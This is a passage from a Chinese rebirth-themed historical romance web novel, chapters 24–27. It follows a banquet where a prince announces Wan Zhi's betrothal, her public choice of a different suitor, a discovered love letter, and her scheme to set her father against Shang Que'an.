李含翎在他院中百无聊赖地坐在石凳上喝茶,调笑道:“大兄,慢走啊。”
商榷安刚梳洗过,热水蒸过身子,俊白的脸多了一丝被热气烘过的红艳,从胸膛蔓延到脖颈,再到脸。
眉目漆黑而锋利,不苟言笑道:“什么事?”
他不笑便威严,天生一张冷脸,有一刻即便他不是在王府长大,但濉安王那王威,他确实继承的最好的。
李含翎起了身问:“大兄勿恼,我今日是第一次见商娘子,感念她这么多年在大兄身边照顾,原以为她真是大兄认的阿妹。”
“可没想到,原来是那种‘阿妹’……”
“父亲知道大兄是因为这位商娘子,才拒绝了妧家这门亲吗?”
旁人眼观商榷安和商唯真在一起时,并未怎么收敛。
二人气氛暧昧是事实,即便被戳穿商榷安夜未表现出愠恼,而是冷冷盯着他,“你到底想说什么?”
李含翎笑了笑,“我只是想知道,大兄这般不想与妧家结亲,而是心里已经有人了,其人还是濮国公之女,不知父亲那里会如何做想?可还会愿意让她留在你身边?”
“还有妧大人,若是让他知道了,不知对大兄又会怎么样?”
他试图从商榷安看到有任何一丝忌惮和愠怒的痕迹,然而商榷安依然从容淡定,面不改色,“你随意。”
“大可帮我广而告之,等事成,指不定我会多谢你。”
李含翎眼神一变,神情霎为难堪。
可以看出他这份威胁,在商榷安眼里不过是自取其辱。
拒绝妧家亲事,是商榷安重生回来后就做下的决定。
要弥补上一世的遗憾,亦是他的决心,断不会更改。
上辈子,他娶了妧枝,辜负了唯真,违背了曾和她许下的承诺,这辈子自然不希望和前世一样,重走老路。
只不过眼下,他虽和唯真还未揭开那道遮羞布,但也由不得旁人来插手。
越过不值得再关注的李含翎,商榷安眼风冷冷扫他一眼,便面无表情地离开。
商唯真的居所离商榷安并不远。
他的书行居足够广阔,属于前后错落有山水池塘的大院落。
要到商唯真的屋子,还要向上往后走,沿着廊檐途径小石子路才行。
他途径一间屋子,外面角落有一处窗户大开,他以为里面没有人,径直路过。
直到哗啦响起一道水声,商榷安目光一错,惊鸿一瞥,只看到一具胴体从桶里起身,携满了水珠从脊背滑落到腰窝。
触目一片活色生香的白。
妧枝并未察觉到此处角落有一扇窗户没关,她擦拭了身上水珠,解下挽着发的簪子,如瀑的秀发垂落胸前。
而背后瘦腰那一片,在她将松垮的衣物往肩上拉时,显得分外腰细膀圆。
这样的妧枝,别开生面,却如一缕风撬开回忆里的画卷。
上一世,洞房花烛夜。
商榷安并未与妧枝圆房,而是在前院王府招待宾客,只要找他饮酒,商榷安来者不拒。
往日清肃冷傲的状元郎在成婚当日,仿佛一心求醉,对后院中的新婚妇人并不怎么在意。
他无心想要圆房,甚至连这桩亲事从头到尾都在拒绝。
但宾客都在看着,即使闹得再晚,长辈在,还是有人开口,“时辰差不多了,再喝下去,只怕会引新妇不快,委屈了。”
“是啊,还不快扶大郎君回房。”
“天色不早,我等也该告辞了,那些走不动的,便着人抬去厢房……”
人走茶凉,再好喝的酒没有了气氛就如残羹冷炙,品不出好的滋味。
商榷安并未阻止他人送他回新房。
新房的红艳反倒灼痛他的眼,高大的郎君挥退下人,一身酒气,不让人扶着。
对床榻上的新妇视若不见,而是选择走到房中饮茶的软榻直接躺下。
屏风一隔,宛若两个世界。
烛火曳曳,恍惚间他闻得一缕香。
正闭着眼沉浸在酒意烘扰的意识中的商榷安睁开眼,不知何时榻上的新妇就站在他跟前,自发褪了喜袍,只剩单薄的里衣正在解。
衣襟敞开,里头的春色让人瞬间想起春日里最后一捧香雪。
他骇然酒醒,按住女子伸来他胸膛的纤纤玉手,“你……”
被新婚夫君冷落的小妇人睁着清白平静的眼神,坦然而率真,“我来伺候你。”
得到他抗拒的反应,嫁给他的妧枝疑惑而不解地站在一旁,似是不懂,今日和他洞房花烛夜,为什么自己的丈夫却不肯让她碰。
不喝合卺酒,亦无所谓。
不与她说话,她可以照顾他。
但不与她相亲,如何做这夫妻?
她衣衫中的肌肤和饱满半圆令人不战而逃,为了抹去眼中乍现的丽色,商榷安几乎顷刻便从榻上起身。
而挡在他跟前的妧枝也被推倒在他躺过的位置。
侧身面容愣怔,眼神惊诧地目送他绝情离去。
商榷安推门就走,整个夜都未曾回来。
而妧枝一直等,一直等,到快天亮时,等来的不过是一碗想要和她拉开距离,表明决心的汤药。
能嫁进来,也代表她接受了这样的安排。
窗外,商榷安目视那道娇躯,却聚焦不定。
直到他收拢神思,屋中身影忽然转了过来,系好身前衣带的妧枝扭身一看,二人顷刻间便对上了双眼。
那一刻堪称相觑无言。
连周围的一切都静默了,妧枝不知商榷安在这里站了多久又看到了多少。
她脖颈肩的湿发在发梢处有水珠凝落而下。
渐渐打湿里衣上的衣襟,里面的光景若隐若现,像极了从前。
然而如今她已是别人议亲对象,更与他无瓜无葛,商榷安垂下眼帘,宛若避嫌,装作熟若无睹,快步离开妧枝眼前。
第25章 凤求凰。
房中,被前世丈夫的看光了身子,一直到商榷安悄无声息地离去,妧枝神色始终都不悲不喜,宠辱不惊。
和商榷安圆房,是在他们成婚一个月后。
妧枝的床褥上总是不见红,院里的管事婆子和小婢都瞧出了商榷安待她颇为冷淡的态度。
于是闲言碎语很快就传到了濉安王妃和濉安王的耳朵里。
大郎君对大夫人不喜。
可是亲已定,人也都已娶进了门,不圆房总是不行的。
于是在濉安王找过商榷安之后,在一个寻常一个用过晚食的夜里,商榷安终于走进了她的房门。
……
冷风微起,带来凉意。
衣衫单薄的妧枝从记忆中回神,未在去想和商榷安的新婚种种。
而是穿好衣物,对镜整拾好仪容,方才从屋子里出去。
彼时外面已不见了商榷安的踪影。
她也不打算回商唯真的房里去,而是径直沿着进来时的方向,去了前面的院子里。
一来,就看到了面色阴晴不定,似笑非笑,暗藏愠怒的李含翎。
不知是谁又惹了他不开心。
脚步声靠近。
李含翎留意到响动,顷刻回头,“阿枝,你来了。”
说着,他怒张的面容瞬间收敛起怒气。
比起和人作对,李含翎更不想让他人看到他落入下风的一面。
“四郎。”
李含翎勉强笑着问:“怎么,可都收拾好了?”
没有过多追问他出了什么事,妧枝决议道:“时候不早,我们是不是该走了?”
这里是商唯真跟商榷安的住处,待多了惹人嫌。
既然都已两不相干,妧枝更不会自讨没趣赖在这。
李含翎更是早已憋着气不耐烦在此处待着,听了此话立即起身,姿态都轻松了不少,“那是当然,我们去告个辞就走。”
虽是去告辞,实则李含翎连面都不想再见。
然而若不说一声就走,那就是失礼了,更叫人轻视了去,这怎么能将把柄主动落人口实呢。
妧枝毫无异议地同他一起慢慢步行过去。
屋外,枝头不知从哪飞来的麻雀短暂在树梢停靠,轻吟唤叫。
商唯真坐在屋内。
她已梳洗完毕自己,眼下正由请来的大夫,正在帮她查看腿伤。
见到商榷安来,商唯真面上一喜,“榷安阿兄。”
商榷安神色如常走到她身旁,随即问起她脚上的伤:“怎么样?可有大碍?”
大夫在检查了一番后,起身向商榷安行礼,恭敬道:“大郎君可放心,唯真娘子未曾伤到筋骨,只是一时的皮肉之痛,脚伤肿胀。”
“只需再养三五日就会好了。”
商榷安叮嘱,“那就好,多配补一些良药,免得落下旧伤,久积成疾。”
婢女也被吩咐,“照看好娘子,这几日不要让她多走动。”
“是,大郎君放心……”
门口处,有人在说话。
不多时枕戈回来道:“大郎君,四公子携妧娘子来请辞了。”
“人在院子里等着。”
听到来人是谁,商榷安眉色好像一瞬间深了不少。
“唯真,你在此等我,我出去瞧瞧。”
“等等,榷安阿兄,我和你一起去。”
商唯真让婢女扶她起来,搀着她和商榷安一同出了房门。
只见院中,李含翎和妧枝并排站在屋檐下。
等到他们来,方才面对面转过身。
李含翎:“大兄,前院还有客人招待,我和阿枝准备过去了。告辞。”
“这般就要走了?不再多坐一会喝点茶吗?”
商唯真讶异,想挽留的样子不似作假,“我还想与妧娘子多聊会天呢。”
“喝茶就不必了,实在不好再叨扰下去。”李含翎笑道。
“这……”
商唯真似乎还有些遗憾。
而妧枝在略显沉默的气氛中,缓缓出声:“脏的衣物我先带走了。”
“这身衣服,等洗干净我再还给商娘子。”
商唯真:“妧娘子真是客气了,就是送给妧娘子也不打紧,不必还的。”
她说的大方,对方却未曾真的应下。
而是默然不语。
商榷安忍不住看向站在李含翎身后梳洗干净的妧枝。
她换了唯真没穿过的衣裳,神情很淡,来了以后也不吵嚷,他们默契地彼此都没有提起不久之前在浴房那尴尬的一幕。
他似放松了许多,那根弦也不再紧绷。
仿佛在庆幸妧枝并没有向李含翎告状,或是对商唯真张嘴胡说。
等到最后。
在气氛逐渐冷淡之际,商榷安陡然对李含翎道:“你们先去,我和唯真随后就来。”
李含翎顿时一惊,“大兄也……”
他以为今日妧家的人登门,商榷安为了不与他们有任何牵扯,会适当避开,不会见妧枝的亲属们。
毕竟他拒了这门亲,见了面岂不是会尴尬。
然而商榷安道:“唯真想尝一尝炙羊席,告诉前院,多备碗筷,我们会去的。”
得到回应,李含翎不再惊奇,而是神情复杂的答应,“好。”
他身旁的妧枝则像不见经传,半点也不关心,转开秀静的脸。
二人一起离开,商榷安莫测而幽深的目视着他们的背影。
直到商唯真疑惑地唤了他一声,“阿兄?”
……
前庭,濉安王妃和平氏已都不在茶厅。
倒是李含翎几个姐妹和弟弟出了来,一个坐着与妧柔、五郎正在玩。
另外两个则站在外边和婢女们说话,吃茶点。
妧酨为了不惹是生非,对王府里面的贵女都避得很远,单独在一处等着。
“昭娘,母亲和平夫人在何处?父亲和妧大人他们还未出来?”
王府的长女好奇地朝妧枝打量过来。
嘴上回道:“母亲和平世母逛园子去了,待会炙羊席开始了方才回来。”
“父亲他们还在书房呢,四阿兄,这位是?”
李含翎介绍道:“她就是妧娘子,妧枝。”
“原来是未来嫂嫂。”
妧枝和王府的亲事早就传遍各处,无需再掩人耳目,只是几个贵女都是今日第一次见着她。
而这几个妹妹,妧枝却并不陌生。
但因前世她嫁的是商榷安,昭娘杳娘和永娘都与她来往不多,平日客客气气,有时甚至并不会见到。
直到她们出嫁,妧枝都与她们相处平平。
到了今世,许是不用畏惧她身边的人是她们的大兄,于是都对她观察起来。
傍晚,炙羊席在王府一处园子空地上举行。
厨房的下人抬来一整只煽好的羊摆在烤架上,众人皆已归席。
从书房里出来,妧嵘似是和濉安王相谈甚欢,对与他们谈坐一天的李屹其多了一丝和颜悦色。
日暮之下,妧枝等人分桌而坐,只等下人将炙烤好的羊肉分盘送上来,而桌上早已摆好婢女准备好的茶酒点心。
“今日英华一家难得登门拜访,你我携家眷在此能够安然的饮酒作乐,实在是人生一大幸事啊。”
濉安王开怀道,妧嵘也谦虚了下,“在下也未曾想过能有这样一日与王爷和王妃等家眷把酒谈天,此说明,我们两家缘分匪浅,是老天给了机会,方才这般圆满啊。”
话落,二人畅快大笑,不约而同率领家眷,“来,举杯,今日畅饮,不醉不归!”
濉安王妃也对平氏示意,“夫人切莫客气,可要吃饱了再回去,这头羊一时半刻还片不完呢。”
“阿枝。”
说着,她叫了声正照顾妹妹的妧枝,待到她抬眸看过来,道:“你太瘦了,可也要多吃些肉才行,叫你弟妹们都尝尝。”
她这般好意,让平氏感动不已。
妧枝则淡然点了点头,“是。”
就在众人把酒言欢之时,炙羊席上忽而来了两道身影。
“大郎君来了。”
“还有商娘子呢,快去准备碗筷来。”
管事婆子快速招呼下人,正在说话的其他人倏地因商榷安和商唯真的到来一静。
气氛微微有了变化。
尤其是第一次见到商榷安带女子来的妧嵘,对二人的身份多了几分揣测,眼神目光闪烁,“这是?”
在濉安王妃对面的平氏从未见过商榷安和商唯真,在东林寺更是意外,她已想不起来是否见过他们,而是充满疑惑和好奇。
只觉得眼前这对男女,容色好生登对。
濉安王同濉安王妃对他们的到来,似是早有准备。
一人分别同妧嵘夫妻道:“是榷安,和他的养妹。”
“此乃濮国公之女,商唯真,英华不记得了?”
“养女而已,情同兄妹,之前住在田庄,后来遇到流寇骚扰,做长兄的担心,于是就将她接来王府了。”
几句言辞,将商榷安和商唯真的关系道的清清白白。
并无遐思。
妧嵘跟平氏态度分别转变,“原来如此。”
打量商榷安和商唯真的妧嵘,神色到底和善了一些,只要商榷安身边的女子,不是带来的什么未婚妻之类的身份,那就相安无事。
否则,就是在给他妧嵘难堪了。
且要说最颜面受损的,应当是长女妧枝才对。
妧嵘顷刻朝妧枝瞧去,发现见到商大郎和女子前来,女儿竟连头都未抬,当真是对这位他早就看重的状元郎半点都不感兴趣?
这是为何?
而平氏则在打量完他们后,悄声对妧枝感叹,“原来这就是商大郎君,阿枝,你错过了。”
在平氏眼里,乍然现身的高大郎君,英姿斐然,且听丈夫说,商大郎君还是当年一骑绝尘,以一篇社稷论杀穿文武百官的状元郎。
今日一见,果然气势惊人,非同凡响。
平氏不懂,怎么女儿就这般运势不佳,错过了这样的如意郎君呢?
待到商榷安同商唯真落座。
只听濉安王为了让刚才稍显冷凝的气氛再次热络,于是朝下吩咐道:“乐师呢?去抚一曲凤求凰来,本王有话要与妧侍郎在此宣布。”
第26章 一封情信。
像是预感到有什么不一样了。
有大事要发生,在场的人都放缓了手中动作,停下饮茶吃肉,看向场中央的濉安王与妧嵘。
而分别坐在他们二人下方的李屹其与李含翎,也都神情各异,一个忽而面带微笑,一个隐隐觉得有哪里不妥。
而来参加炙羊席的一个妾室更是捧场的问:“王爷要奏凤求凰?莫非是有什么大喜事要宣告?”
历来都知凤求凰乃男子追求女子的诗作名曲。
既然濉安王能用它来说道,定然是待会要宣告的事,非同小可。
“不错。”
没有在此刻透露太多。
只等乐师来了之后,乐声响起,濉安王与妧嵘畅饮了一番,方才在众人拭目以待中放下酒樽。
然后放声,“诸位,今日听我一言。”
随着他的话,在场的都安静下来。
“今日炙羊席,是本王和妧侍郎交往许久,感念他的为人和情操,为了招待他家夫人和子女才准备的。”
“本王原先,听闻其有长女,芳华正茂,正待嫁闺中……”
不少目光不禁都投注到妧枝身上。
即使被注视,已经停箸的妧枝,都娴静大方的静坐着,任人观测。
“妧侍郎长女何其贤惠,英华又是何等的人物,若能有这样淑德的女子持家,可真是天大的幸事……遂,本王愿意让家中子弟求娶,结一段天赐连理。”
“而今,本王和妧侍郎都认为,时机皆已成熟,今日该当将这门姻缘妥善定下来。”
在座诸位越发安静,甚至视线有意的向妧枝和王府的子弟们逡巡去。
直到濉安王宣布:“至于人选,我二人已思定……”
“就由三郎来娶妧家大娘子,缔结两姓之好。”
“……”
似是怎么都未想到,娶妧枝的人竟然定夺给李三郎。
只见在座当中,李含翎已将手中长箸徒手折断。
目光不可思议,注视前方。
而濉安王更道:“屹其,还不快给你日后的岳父岳母敬茶?”
话音一落,李屹其当场站起来,志得意满地为妧嵘和平氏斟茶。
“怎会如此……”
同商榷安在炙羊席上落座的商唯真,亲眼见到这一幕,竟是没忍着,小声轻呼出来。
甚至转头忍不住感慨,“为何不是四公子?”
“我还以为四公子和妧娘子今日那般亲密,会是一对呢?”
她习惯性地试图找榷安阿兄,让其帮她开解。
这到底是怎么一回事,然而一扭头,就看到榷安阿兄,已经在觑向场中坐着的妧家人那边。
“阿兄?”
今日是商唯真第二次这样失神。
在这日之内,榷安阿兄从未在她身旁注意过别人,她不禁跟着找到人群中的妧枝。
她好生淡定,就像在她房中吃那碗桂圆一般。
仿佛并不意外。
面不改色,且接受了这样的事实。
冷不丁的,商唯真发觉商榷安扭头,回应了自己,“她就是这样的,对父母之命言听计从。”
死不悔改。
“什么?”
商唯真完全诧异了。
许是不大想谈太多。
商榷安对宴席上发生的事并未太过上心,他收回了目光,那般清冷威严,却莫名叫商唯真放下了心。
他夹了一块吃食给商唯真,转口不再多提,“你不是想尝炙羊席?那就多吃些。”
商唯真虽答应了。
却还是怔然看着碗里,疑惑刚才的话,当真是他说出来的么?
为何榷安阿兄似乎对妧娘子很是了解?
“可是阿兄……”
商唯真正要再问,被商榷安沉敛的目光安抚,他道:“唯真,无需多言。”
“人生在世,我们关注自身就好,他人的事,切勿多管。”
“可是……”
“快吃吧。”
一经商榷安阻止,商唯真最终还是熄了想要追问的心思。
可就在榷安阿兄说此话没多久。
众人注视的眼前,李屹其斟茶到了平氏这一边。
“世母……”
他秉着仪表堂堂的笑,正要与接触渺渺的平氏多说两句好话,下一刻,一道人影从位置上缓缓站了起来。
用柔雅而坚定的嗓音打破这沉寂。
“且慢,我有话要言。”
“枝儿?”
平氏从身旁惊讶地看着她,与濉安王在一起的妧嵘在座上也有预感的皱起了眉。
所有人都因骤然一反常态的妧枝而停下手中动作。
“你想说什么?”
妧嵘面带笑意,话语声却十分严厉:“今日王爷摆宴,婚事已定,有什么话归家后再说,你听话些,最识大体不是吗。”
可长女却瞧都不瞧他。
妧嵘气急:“妧枝!”
“坐下。”
可惜就算妧嵘如何疾言厉色,都阻止不了妧枝脱口而出的话语。
在所有人心头,都听见那道柔雅的嗓音从容不迫地道:“王爷和阿父私自定下定亲人选,却未曾问过我的意愿。”
“这门亲事,我并无怨言,但是夫婿人选总得听一听我的意见。”
“……若要成亲,我希望我的未来夫君,会是李四郎君。”
话语说完,最为震惊的不亚于这对同母兄弟。
而在另一边,手持酒杯的商榷安也微觑过来。
李屹其与李含翎眼神均不同地看着妧枝。
深吸了口气,李屹其勉强维持风度,然而一只手背负在身后,已经暗自攥了起来,“妧娘子?此话从何说起?”
“论理,我与四郎皆是与你同时议亲的人选,父亲和妧世叔以为我更适合你,这有什么不妥吗?为何偏要是四郎?莫非是我哪里得罪了你,让你不够满意?”
李含翎宛若呆住的傻子,沉浸在巨大的惊喜中。
痴望着妧枝,连话都说不出来。
只听她不急不缓地回应,“可,原先也未曾说过,一定只能是三公子,而非四公子吧?”
“这桩亲事,本应是我与两位公子的相互选择,相处过几日,我觉得与四郎君更加情投意合。”
“只是这般而已,三公子莫非要强求不成?娶妻嫁人,理当两情相悦才是最好的,否则即使在一起,也不过是做一对怨侣。”
妧枝说这话时,不远处因她饮酒而顿住的商榷安,像是被意有所指,眸色逐渐幽幽而深沉起来。
气氛随着妧枝的表态瞬时冷场和僵硬。
谁都没想到这位妧娘子竟有勇气当众不满濉安王和自己父亲的决议。
“你……”
妧嵘已有想要发火的迹象,然而为了颜面却不得不强行按捺下来。
他强忍道:“你真是不识抬举,为父帮你定下三公子,自然是他有一定强处,文采上有造诣,前途可期。”
对比李含翎,李屹其学问上自然好的不是一星半点。
让他扶持,自然更愿意扶持有文墨的,而不是稍加纨绔的李含翎。
然而妧枝像是铁了心,“四郎今日送了我一片花海,他对我很有心,我非看重前途的人,不期望未来丈夫有多高枝。”
“就算再大的官,嫁了他也毫无意义。”
“……”
僵持良久。
濉安王挥退乐师,让人暂停,“好了,此番决议不过是我与你父亲,今日初步决定。”
“既然你有心四郎,可未免伤了他们兄弟之间和气,那就等日后再议。”
濉安王妃打着圆场,“是啊,还是先用了这场炙羊席吧,一切等之后再说。”
平氏起身,神情根本不敢与妧嵘对视,只能诚惶诚恐地将长女拽回原位坐下。
“你,你今日到底是怎么了……”
“为何这般当面逞强啊?”
一遇到事,平氏好像从来都是息事宁人,不想惹麻烦的模样。
妧枝淡淡道:“阿母也觉得我应当顺着阿父心意,他把我指婚给谁,我就要嫁给谁吗?”
“李家四郎君,哪里不好吗?我不追求他荣华富贵,前途似锦,亦不念想他一心一意。”
“只要他对我怀有一点善意,我便觉着这门亲事可以。”
经过这样一出变故,原本热闹的炙羊席氛围立马有了变化。
即使乐师重新奏乐,宴席上的人心思好像都不在吃肉上面,而妧嵘和濉安王的推杯换盏,也变成了各自饮酒。
待到天黑,宴席终于有要结束的迹象。
妧枝随同平氏等人起身,妧嵘同濉安王说了几句话,便悻悻而归。
濉安王妃早已提前寻了个借口,离开了此处。
人已经变少,但在妧枝要离开王府时,李含翎从后面追了过来,在廊檐下对着妧家人的身影道:“妧侍郎,世母,阿枝,含翎且来相送。”
说是相送,他眼睛却是盯着妧枝。
妧嵘在宴席上被败兴,而李含翎又是王府子弟,虽在妧嵘心中没那般满意,却也并非真的想弄僵。
于是甩开袖子,冷哼一声,“时候不早,别耽误了时辰。”
平氏亦拖着妧柔妧酨,也识趣地没有打扰他们。
是以,在通往前庭后院的路上,只剩妧枝和李含翎二人。
而在一桩梁柱后面,商榷安带着商唯真从里面出来,不远不近地看到这一幕。
商唯真下意识朝商榷安瞧去,目光紧盯他的表情。
只见商榷安只再平静不过地瞥了那边一眼,便漠不关心地扭头,对商唯真道:“走吧,我扶你回去歇息。”
时值长夜,天色浓厚的像墨一般。
将商唯真送回到房中,叮嘱她好生歇息,商榷安便从屋中退了出来。
此刻万籁俱寂,只有少数虫鸣和风声。
他在园中一处小路上静了静,正打算去书房一趟,然而竹影摇晃,灯火璀亮。
路途上一个眼熟的婢女捧着一样东西,匆匆走来。
见到他,倏然惊呼一声,“大郎君。”
是商唯真身边侍候的婢女。
认出来人,商榷安锐利的目光落在她手上,“你拿的是什么?给唯真的?”
若是商唯真的,商榷安必然要检查一番。
然而婢女将东西捧到跟前,像是遇见救星道:“不是,大郎君,这是妧娘子的东西。”
“妧娘子今日在小浴房梳洗,奴婢前途打扫,发现她落了这封书信。如今他们好像已经归府了,不知该怎么才能给她?”
商榷安触目盯着婢女手上的信物片刻,默了道:“给我吧。”
得了应允,婢女飞快将书信上交。
商榷安:“下去吧。”
“是。”
待婢女一离去,竹影摇晃的光影中,商榷安站在石子小径上,将这封写有妧娘子亲启的信件,直接拆开。
五指轻掸,露出里面的字迹。
一目了然。
常珽亲笔:海棠春坞偶遇,未曾想与妧娘子一见如故,若娘子芳心似我心,定不负相思意。
还请前往木荷堂一聚,等卿。
第27章 病发。
屋檐之下,灯火明亮。
妧枝在李含翎追来后,停下脚步,“四郎君,有何事找我?”
历经炙羊席上一幕,李含翎再看妧枝,眼神已然不同。
“我没想到,阿枝竟然会为我出头说话……”现在想来,李含翎还恍若置身如梦。
他虽和李屹其是兄弟,但兄弟之间也会分个高低上下。
而今府中有商榷安独占鳌头,衬得其他人宛若蝼蚁,又有谁能越过他去?
再往下分,二兄出门经商,不在家中。
只剩他和李屹其年长,论人选,对挑选夫婿的人家来说,李屹其读书比他多,自然又要更胜一筹。
而他小有花名在外,这样一比,肯定不得旁人家长辈喜欢。
可是妧枝却好像对他心有所属……
李含翎不由地面露微喜。
妧枝仿佛看透了李含翎所想。
他而今不过是个十九岁的年轻儿郎,而妧枝早已比他多历经了一回生死。
她道:“生死嫁娶,虽由不得自己做主,但我也想选一个稍合心意的,此乃人之常情。”
“四郎君不必想太多。”
李含翎根本听不懂其中含义,执意道:“可无论如何,你都选择了我,阿枝,我甚为高兴。”
被人认可,尤其是婚嫁中的女子,能让李含翎这般作态倒也正常。
妧枝只好点头,“若没其他什么事,那我就先走了。”
“等等。”
李含翎还想起来一件事,念念不舍道:“那些花……我届时让花匠都移植到你院子去。”
“好。”
今日上门做客,无疑妧枝也没想到李含翎会真的有心,去拖了许多花来栽在院子里,哪怕他亦是看在妧嵘的份上,听了父母之命才与她议亲。
也从来没有人能为她做到这种程度。
即便是片刻的欢心,妧枝内心也微微偏向于这位李家四郎。
左右这桩婚事是为了做给妧嵘看的,与其定下表面宽容,实则小心眼的李屹其,还不如会哄人开心的李含翎。
届时退婚起来,也好糊弄。
王府大门,在妧家马车离去后恢复安静。
与此同时,御街的豪宅富贵人家中。
一碗羹汤忽然撒落在地。
婢女看着骤然脸色发白,瘫倒过去的妇人,一声惊呼,“老太君……”
入夜之后,甘家府中,本是一片祥和之态,却因事发突然,府中气氛骤然低迷沉重起来。
闻讯得到消息的历常珽,从自己府上赶来,“贯轩,祖母情况怎么样?可有大碍?”
甘家郎君,周老太君的亲孙将他迎进门,神情不是很好道:“祖母身体不是很好……谁知会突发这一遭。”
“你……看过就知道了……”
历常珽肃着脸从院子里进去,来到周老太君的房中,此时此处早已挤满了不少人。
有甘家家主以及夫人和其他子孙,还有大夫婢女。
待到历常珽来,在一道声音下纷纷看向他,“常珽来了,都散开。”
“其他人都先下去吧,留下一人伺候,大夫就在此处。”
屋里的闲杂人等都退到外面,甘家家主应对上历常珽询问的目光,哀叹一声,摇了摇头。
“大夫说,是头疾发作,此乃不治之症,也许没几年可活。”
历常珽看向榻上昏迷不醒的周老太君,她面色灰青,嘴里含着人参片吊着,远不如前几日红润有气色。
说是几年,怕是甘家家主都是捡了宽慰的话说的。
甘贯轩在他身后道:“父亲吩咐了,要大夫竭尽全力医治祖母,常珽,多亏你日前提醒我们,要多留意祖母身体。”
“这些时日,大夫都在开药为她进补,若不是今日大夫恰好来把脉,说不定祖母……就这样去了。”
历常珽怔愣,倒不是他提醒,而是有人比他更早留意到祖母身体不适。
他不禁想到妧枝,那个出身妧家的女郎,她说她虽不通医术,但是见多了像老太君这样有隐疾的人。
初时,他还以为她是有意和他搭话。
没想到,而今都叫她说中了。
在大夫看过之后,同甘家家主出门交代事宜,历常珽便与甘家的郎君留在房中陪伴周老太君。
烛影昏昏,在片刻的清净之后,周老太君在床幔中缓缓转醒。
她意识有了一刻的清醒,混沌的目光在周围打量一圈,看到子孙在后,不由地笑了笑。
然而却抬不起嘴角。
“是贯轩啊,常珽也来了……”
“祖母。”
见周老太君头偏向历常珽,似是有话要说,甘家郎君道:“你陪着祖母,我去让人端药过来。”
待甘贯轩走后,历常珽才来到周老太君身旁,一下便握住了她搭过来的手,“大夫说要静养,此刻祖母你还不能起身。”
“不起,不起……”
周老太君:“我只是有话想和你说。”
宛若交代后事一般,她道:“方才你们说的话,我都听见了,这人,生死自有命数,就算我哪天去了,你们也不必难过。”
“倒是你,你还是孤家寡人一个,即使袭承了你父亲的爵位,身边却一直没有一个知心人相伴。”
“常珽啊,你可不能绝了你父母的后路,为祖宗,开枝散叶,乃是人生大事,你……”
她咳嗽起来,说话有些气短吃力。
历常珽登时紧张地为她轻拍心口,又在婢女倒来茶水后,喂到周老夫人嘴边,“祖母慢些说,我都听着。”
缓过来气后,周老夫人按着历常珽的手,颇为艰难地挤出话语声,“要娶妻,知晓吗?那妧枝,若是与三郎他们没成,你就……”
“我观她是个好的,你也不反感不是?”
想到那个在海棠春坞进退有度的女子,以及在茶厅不为颜面,坦诚自己不够富足的女子。
历常珽顿时陷入沉思。
“祖母……”
周老太君:“我大限将至,若不能看你早日成家,九泉之下也不得安眠。”
“你就思虑去吧。”
说罢,周老太君依着床榻重新闭上双眼。
妧家。
在众人到家后,妧嵘站在厅堂,眉头不展的盯着妧枝,余下平氏等人大气也不敢出。
不想在如此可怖的气势之下,妧枝竟然开口,“阿母带阿妹阿弟回房去吧,我还有事要与父亲相商。”
“枝儿?”平氏惴惴不安看着她。
妧嵘发起火来,是会动手的,她实在不想看到妧枝被打。
熟料妧嵘听了妧枝的话,点头怒极反笑,“让她说,我倒是要听听她到底想说什么,若是不能说出个所以然,今日的事,就不会善了。”
“我会执家法教训你。”
所谓家法,到底躲不开挨打挨罚。
在弟妹惊恐万分的眼神之下,平氏正要求情,妧枝却道:“那怕是,父亲听过之后,想必还要感谢我呢。”
妧嵘气笑了,挥手让其他人散去。
迎着他人担忧的目光,厅堂最终只剩下妧枝和妧嵘两人。
妧嵘抬首向她示意,“说!”
今日炙羊席妧枝忤逆于他,妧嵘须得她给个说法。
妧枝却忽然道:“阿父可还记得席上商大郎君带了位女子来?”
“那女子是濮国公之女,商榷安之养妹,这我清楚,与你有何干系?你说这些有什么用?”
妧枝摇头,轻叹,“怎么会没有干系?阿父不是责怪我,始终不肯嫁给商大郎吗?”
“在东林寺,可不止我不情愿去观音殿,这位郎君可是心有所属,转头就与养妹去菩萨殿里上了香。”
“而王爷和王妃,却与你和阿母说,他们是兄妹……这兄妹倒也不假,关系却没那么清白。”
妧嵘登时两眼一眯,颇为阴郁,“你是说,此女和商榷安有私情,当初他拒婚也是因为有了心上人?而今,王爷却替他隐瞒,而骗我说是兄妹之情?”
妧枝点头,“不错……阿父,这濉安王府拿我们当猴一般,戏弄你呢。”
妧嵘自然听懂了长女的煽风点火,可商榷安的确无意这桩亲事是事实,而他回想宴席上,对方对身边的女子照顾有加,举止颇为亲昵。
何曾将他们放在过眼里,哪怕是在朝为官,商榷安都比他官高一大截。
所以,一开始答应,却临终反悔,是瞧不起他女儿,亦是瞧不起他?
妧嵘神情越发阴沉,他不介意这世上天资聪颖的人何其多,他也曾是千里挑一的探花郎,可是,他却介意年纪轻的比他运道好,走了他不曾走过的路。
还拥有了曾经他奢望过的荣华盛宠,却敢来鄙夷他?
瞬息过后,妧枝所见,妧嵘冷笑一声,似乎已有了决定。
她想,让妧嵘来对付商榷安最好不过。
她本不想与他们有任何牵扯,但她如今别无其他倚仗,只能先让妧嵘对其不满,再让其二人相互撕咬了。
“还有一事,一直想告诉阿父……”
妧枝柔柔道:“此乃是我无意间在濉安王府听到的,那位商大郎君,和手下人互通消息,说是朝中近来在审查叛党一事。”
“已经盯住了好几位官员……”
妧嵘神色兀地一变,已不是刚才那副恨不得咬人一口的表情,而是眼神惊恐慌乱。
语气微颤而急切,“有没有说是谁?叫什么名字?”
妧枝:“这,我才一走近,就被他们发现了,其余的没有在听。”
她垂下眼帘掩盖住情绪,仔细一看,才发觉妧嵘衣角下的腿已经在微微抖了。
待到她再朝父亲瞧去时,既惊又恐的妧嵘暗中闪过杀意,“此子,此子心有所爱,居然还敢议亲来耽误你,我难以留他,定然让他无颜在这朝堂上生存。”
说罢,妧嵘对于此事惊恐程度,早已忘了追究妧枝在王府里公然顶撞她的事。
至于是选三郎还是四郎,亦都指责不起来了!
待到妧嵘离开厅堂,妧枝追了一步,然后看着他堪称落荒而逃的背影,只期望这步棋没有走错一招。
上一世,妧嵘就是因为受乱党牵连,而被圣上厌弃,同僚敬而远之。
虽看在商榷安的面子上,还保佑官职,但到底从此远离权力中心,是以才醉心温柔乡,日夜都不归家。
而对妧枝,也越发憎恨起来,怪她夫婿竟这般六亲不认,敢对岳丈下手。
更迁怒于平氏,养出这样的好女儿。
这辈子,妧枝稍透一些口风,既给商榷安找了些不痛快,又让妧嵘不至于错上加错。
